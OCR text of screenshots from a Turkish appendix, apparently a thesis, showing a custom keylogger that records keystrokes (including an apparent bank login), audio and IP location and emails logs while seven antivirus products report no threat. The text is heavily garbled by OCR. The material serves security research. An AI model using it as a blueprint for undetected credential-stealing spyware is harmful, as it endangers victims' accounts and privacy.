{ Ziraat Bankasi - Google Chrome 2892014 2 a
{ Casus Yaziim Raporu-AVG 28.9.2014 22:24.50 - | @ @ @ @
siber dunyada. guvenlik@gmail.com - Gmail - Google J

28.9.2014 22:26:40}

{ AVG AntiVirus Free Edition 2015 28.9.2014 2 Bilgisayar Kimlik E-postalar Firewall
TEMIZLE  BILGILERI KOPYALA KORUN N ’

Ak Uygdamalar/ 1P Bighen / Ack Portier

</br:GERCEK IP ve YER BILGILERIC/ broIP. 78 174 40.190 ® simditara C Koruma giincel
Nosrmy‘!hllﬁ!icmncm comir >
[eleicom

AGIKPORT, 1P ve UYGULAMA Biglens Getr | TEMIZLE | | BILGILERI KOPY,

Satem Kaytian (LOG)

2852014 222528 Ses Kayd C\Users \mebmet\AppData'\Local\ Temp\2014 28.09_)
2892014 222529 Ses Kayd Bagatic
2892014 22 2628 Ses Kayd C'\Users \mehmet \AppData' Local\ Tomp' 2014 28 09_1
2892014 222629 Ses Kayd Bagatid

TEMIZLE | BiLGILERI KOPYALA

Resim 2.1. “AVG AntiVirus Free” yazilimina ait ekran goriintiisii

M Casus Yazihm Raporu-NO x \ § Bireysel Internet Subesi| - %
W TUS KAYDEDICI - o ® =
Uygdama ve Tus Bigier 2014 Tatiller | Yesilalan.net (7] YLISANS (] PARAISLERI  »
{100% tamamlandi 26.9.2014 23:40:46} A=k
{ resimler_ve_videolar 26.9.2014 23:40:47} Nod32 Ses Kayd:
Testi

ses kaydi osnrasi

| Ziraat internet B: - Google Chrome Ji SMART SECURITY

{t

26.9.2014 23:41:17} 3456788

{ Gasus Yazilm Raporu-NOD32 26.9.2014 23:38:27 - Clbeeme
guvenlik il.com - Gmail - Google Chrome

I 26.9. 2014 23:41:25} /N . s
{ ESET Smart Security 26.9.2014 23:41:29} [ AneSeyfe " (%) Virus imza veritabani guncel
TEMIZLE | | BILGILERI KOPYALA . & Guncelleme gereki degil - Virts imza veritabani gancel
Q Bilgisayar taramasi

Agk Uygulamalar/ IP Bigieri / Agk Portlar Son baganh guncel
~ Virts imza v bai

</boGERGEK IP ve YER BILGILERI</ br>IP: 78.174.40.190 5 s mea Ve

Hostname. 78.174,40.130 dynamc tnet comr &) Gincele

ISP: Turk Telekom simdi gancelle

Organzation: Turk Telekom -
Cty: AnkaraRegion: Ankara Ayarlar

Country: Turkey
Timezone: Asia/Istanbul
% Araglar
ACIK PORT, IP ve UYGULAMA Bigilerini Getir |  TEMIZLE | | BILGILERi KOPYALA

- o o Vardim ve destek
o Ko L0 Gancellemeleri

26.9.2014 23:40:06 Ses Kaydh C-\Users\mehmet\AppData\Local\Temp\2014.26.09_11.40.06_60sn wav dosya e
26.92014 23:40:07 Ses Kaydh Bagiatidh —_—
26.92014 23:41:06 Ses Kaych C-\Users\mehmet\AppData\Local\Temp\2014 26.09_11.41.06_60sn wav dosy
2692014 23:41:07 Ses Kayds Bagiatid:

Uriin giincellestirmesi
Yakla surom: 7.0.317.4 goncel

TEMIZLE | | BILGILERi KOPYALA

Vi ——— - -

Bonus Carda Hemen Bagvur. Kredi Kartin A

. 15 GB'lik kotanin 0 GB' (%0) kullaniliyor
Yone

Resim 2.2. “NOD 32” yazilimina ait ekran goriintiisii
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Adsiz - Paint - o I IE3
4 NVOOOmA- Pt = [l EEEEE e
s ¢ A Icdl >vooozalw _WW_EDD BOE [ ]

) . — X e e
Norton LiveUpdate 2! lefteri - olEN

D X Kes

Yapistir

Tamamlandi Update tamamlandi - incelleme bulunamads "

Norton Grindndz en son koruma gancellemelerini igeriyor.

@ Norton Security Merhaba mehmetdama ~ — X
Oge Durum
I

¥ Ayarlar | ? Yardim

Giincellemeleri denetle Tamamlandi
Giincellemeleri indir Gerekli Degil Guvenlik

Guncellemeleri uygula Gerekli Degil

Korunuyorsunuz
Koruma Giincellemeleri: 26.9.2014
Son Tarama: Yok

— L)

Uygulama ve Tus Bilgieri
{ Baslangic Menuasu 27.9.2014 00:46:21}

{ Ara 27.9.2014 00:46:22} mspaint Q @ {L)

{ Adsiz - Paint 27.9.2014 00:46:24} Taramalan Caligtir LiveUpdate Gegmis Geligmig
@ Norton { CamStudio - Custom Build 27.9.2014 00:46:2:
‘ { Adsiz - Paint 27.9.2014 00:46:29}

{ CamStudio - Custom Build 27.9.2014 00:46:3
{ Video Aciklamalan.txt - Not Defteri 279.20 o
{ Sicrama Listesi 27.9.2014 00:46:32}

{ Norton LiveUpdate 27.9.2014 00:46:34;

{ Norton Security 27.9.2014 00:46:37} Giivenlik ‘ Kimlik ‘ Performans ‘ Daha Fazla Norton

e 1 TEMIZLE | | BILGILERi KOPYALA

ABONELIK DURUMU: 30 Giin Kaldi__Yenile

2792014

ol

TUS KAYDEDICI

Uygulama ve Tus Bilgileri
{Ara 28.9.2014 20:36:22} mspaint | b
Kaytlann Génderimi icin Siire (sn) ~ 3574 / 3600

{ Paint 28.9.2014 20:36:24}

{ Adsiz - Paint 28.9.2014 20:36:24} Ean Resimi Gekini Siresi(sn)

{ Gorev Gegisi 28.9.2014 20:36:26}

{ Start Center (Spybot - Search & Destroy 2.4) 2892014

20:36:26} Ayarar

{ CamStudio - Custom Build  28.9.2014 20:36:28} Paremetraie syt
{ Start Center (Spybot - Search & Destroy 2 4) 2892014

= = n EPOSTAGONDER tiim bilgileri gonder
sr 289.2014 20:36:31} v Yaziimn arka plan

YAZILIMI GIZLE = i

JPYALA Tekrar gostermek i

1/ Aok Pottlar

Internet protection: full €3
No update attempt registered. '

Basic Tools -~

=
ﬂ Quarantine Q,j Donate
]

Immunization

AMA Bigierini Getir | | TEMIZLE | | BILGILER] KOPYALA

Statistics

&

Update

[ = 2036
() Veni Sek
| ? o - 28.9.2014

9” Start Center (... ’] Video Acikla... ™ Tus kavoEDici AF) Adsz-Paint | « [ il )

B
3

Resim 2.4. “SPYBOT” yazilimina ait ekran goriintiisii
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w TUS KAYDEDICI

Uygulama ve Tus Biglen

{100% tamamlandi 28.9.2014 21:10:56} | (et
{ ses kaydi sonrasi  28.9.2014 21:10:56} Webroot Ses Kaydi

92

-

Kaytlann Gonderimi Igin Sdre (sn) 3342 / 3600 Dur
{ Casus Yazihm Raporu-Webroot 28.9.2014 21:08:05 - Ekran Resimi Gekimi Siresi (sn) Dur
siber.dunyada guvenlik@gmail.com - Gmail - Google Chrome
289 2014 21 11:34} "
{t internet g1 - Google Chrome Ayt
28.9.2014 21:11:35} [TAB] PARAMETRE AYARLA | Parametreler ayariama ekranm a¢
Zamanlaycy beklemeden
{ Webroot SecureAnywhere 28.9.2014 21:12:17} EPOSTAGONDER | tim bigleri gonderr
Secure \ { Program Manager 28.9.2014 21:12:20} v YAZUMI GIZLE Yazhmin arka plana gecmesini sa
TEMIZLE | | BILGILERI KOPYALA I Teow gidemekigh saan1Z3y
Korunan Agk Uyguiamalar/ IP Biigileri / Agk Portlar
</ br>GERCEK IP ve YER BILGILERI</ broIP: 78.174.40.10 al
Hostname: 78.174.40.150.dynamic tinet com
SecureAnywhere bilgisayannizi koruyor. ~ Son tarama 10dakk ISP: Turk Telekom
Hig bir akif tehdit algilanmads. Son tarama slresl A garumln';gTddwm
Sorvaki tarama Bsgama2  Country: Tukey
Timezone: Asia/lstanbul g
Bilgisayanimi Tara i e ACIK PORT, IP ve UYGULAMA Biglerini Gets | | TEMIZLE | | BILGILERI KOPYALA
A |LACIKEORT, IE-ve IIVGLLAMA BigterniGalk | |TEMALE.| | BRGRERINORYALA |

Sistem Kaytian (LOG)
28.9.2014 21:11:04 Ses Kayd: C:\Users\mehmet\AppData'\Local\Temp\2014.28.03_09.11.03_60sn.wav dosyasina kaydedildi
28.9.2014 21:11:04 Ses Kaych Bagatidh
2892014 21:12:03 Ses Kaydh C:\Users\mehmet\AppData \Local\ Temp\2014.28.09_09.1203_60sn wav dosyasina kaydedid
2892014 21:12:04 Ses Kaych Bagatich

TEMIZLE | | BILGILERi KOPYALA

“ S | e [ T . 2612
ses kaydi son... () Hosgeldiniz| . TUsS KAYDEDICI | J Adsz-NotD.. | - [ .l @) [*

Resim 2.5. “WEBROOT Secure AnyWhere” yazilimina ait ekran goriintiisii

_ .
o TUS KAYDEDICI = 2
Ugulama ve Tus Bigien
{ Bireysel internet Subesi | Ziraat Bankasi - Google Chrome Al ek
27.9.2014 01:33:40} ) ’ .
{ parametreGirisForm 27.9.2014 01:33:41} N e 0 e ek D

{ Windows Defender 27.9.2014 01:33:45}
{Temp  27.9.2014 01:33:46}
{ Windows Defender 27.9.2014 01:33:46}

] Windows Defender - ol

{t | Ziraat Internet - Google Chrome

27.9.2014 01:33:48} —

{ Windows Defender 27.9.2014 01:33:49} i G i i Ayarlar @ Yardm v
{ Windows Yardim ve Destek  27.9.2014 01:33:52} .

{ Windows Defender 27.9.2014 01:33:53} v

TEMIZLE | | BILGILERI KOPYALA | Tarama 186 6gede tamamland. Tarama secenekleri:
J Bu tarama sirasinda kigisel bilgisayannizda hig tehdit algilanmads.

Kigisel bilgisayanniz izleniyor ve korunuyor.

O Hih
OTam

Windows Defender

® Ozel

© 2014 Mirosoft. Tum haidan sakddir. @ Gergek zamanli koruma: Agk —
Simdi tara
Sistem bilgleri: @ Viriis ve casus yeziim tanimlar:  Giincel

[Kotis Amach Yazimdan Koruma Istema Srami: 4.5.218.0
Mvaus«um 1.1.11005.0

sten koruma tarims: 1.185.1259.0
(‘Amsyminorianelzm 1.185.1259.0

o\ Tarama aynntian
Son tarama: Bugan (01:17) (Hizh tarama)

uym mymmm,ummd-mm-ummw By
hhkmveuuwdwr&iv:hluvw yﬁhih:oﬂnlbd'

kulandarak dava

~ 1l all ) =

0
2792014

Resim 2.6. “Windows Defender” yazilimina ait ekran goriintiisii
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EK-2. (devam) Casus Yazilimi Tespit Edemeyen Koruyucu Yazilim Ekran Goriintiileri

ol TUS KAYDEDICI

Uygulama ve Tus Bigilen
Zamanlaycilar
{ avast! Free Antiviris 10.8.2014 18:20:14} N B
{ Ziraat Bankasi - Google Chrome 10.8.2014 18:20:15} Kepam Gondertu ot Stre ). 3568 73600 | (D
{ Adsiz - Google Chrome ~10.8.2014 18:20:17} Ekran Resimi Qekimi Siresi (sn) | ow
F iz | Ziraat g1 - Google Chrome -

10.8.2014 18:20:17} 4000353123[TAB]234567
{ Yuksek_Lisans_Tez_Taslag: - Microsoft Word 10.8.2014

18:20:30} Tez Metni

{ Hosgeldiniz | Ziraat i Bankaciligi - Google Chrome
10.8.2014 18:20:37}

{ avast! Free Antiviris 10.8.2014 18:20:41}

| TEMIZLE | | BILGILERi KOPYALA |

Agk Uygulamalar/ IP Bigileri / Agk Portlar

R i S
} ACIK PORT, IP ve UYGULAMA Bilgilerini Getir | | TEMIZLE \ | BILGILERI KOPYALA avast! Free Antiviris

Sistem Kayttlan (LOG)

P}oaamn (‘Iaﬁ&ﬁ";&rires B
C:\Users\mehmet\AppData\Local\Temp\cy.exe
Mail Zamanlayic 0 sn olarak ayariandi

Program striimii: 2014.9.0.2021
Viriis tamimlamalari siiriimii:  140810-0
Tanimlama adedi: 2.434.446

Copyright © 1988 - 2014 AVAST Software. Biitin haklar saklidir.
avast! AVAST Software'in tescilli ticari markasidir.
End User License Agreement

Uriin takip eden bilesenleri kullanmaktadir:

« HTMLayout, Copyright @ Terra Informatica Software

« libPNG, Copyright @ Glenn Randers-Pehrson

m 18:20
A )l =
il <0 D 10.8.2014

Resim 2.7. “Avast” yazilimina ait ekran goriintiisii
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